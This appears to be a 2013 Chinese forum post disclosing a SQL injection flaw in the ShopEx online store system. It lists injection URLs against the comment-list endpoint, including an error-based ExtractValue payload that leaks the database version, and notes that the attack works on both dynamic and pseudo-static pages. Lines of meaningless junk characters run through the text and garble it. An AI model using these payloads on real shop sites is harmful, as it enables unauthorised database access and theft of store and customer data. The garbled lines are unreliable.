注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术…
6 L2 P, i7 p- \+ |: J- t/ ?9 x
4 O0 ?* g6 x) |- x5 K+ r8 z+ a: g `好吧，我扯远了~~: |/ w; u) J% H( w$ ~2 A; `2 j( f* |
其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~1 N7 m- N5 G6 H4 y
不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：0 N. j" z8 W. I7 a: W
u% s8 e" ?. O
http://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
3 @- ]) l! d3 x) ~$ s/ T) Z6 A2 Q9 h5 [7 w% |! W% Q7 ]
http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html
1 p- G. z( l H; g
* _: t! u' O v4 ?http://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html8 ^, f8 z8 k" q) K6 R
& p( F- j8 o% @9 @. S
http://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html; d# c' z( D7 B8 h5 \( ~1 t- [3 X
9 n, M' c+ ~! D1 X2 \- s : w" f, J$ _# L0 q+ i A$ a
一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。 t& \0 g5 A% `' _
如何注入就不多说了，10多年的东西了…不会也会了…1 p# M$ i! W/ Z
# l4 n. x5 N5 R* j3 N
|
发表于 2013-2-4 16:20:04
收藏
支持
反对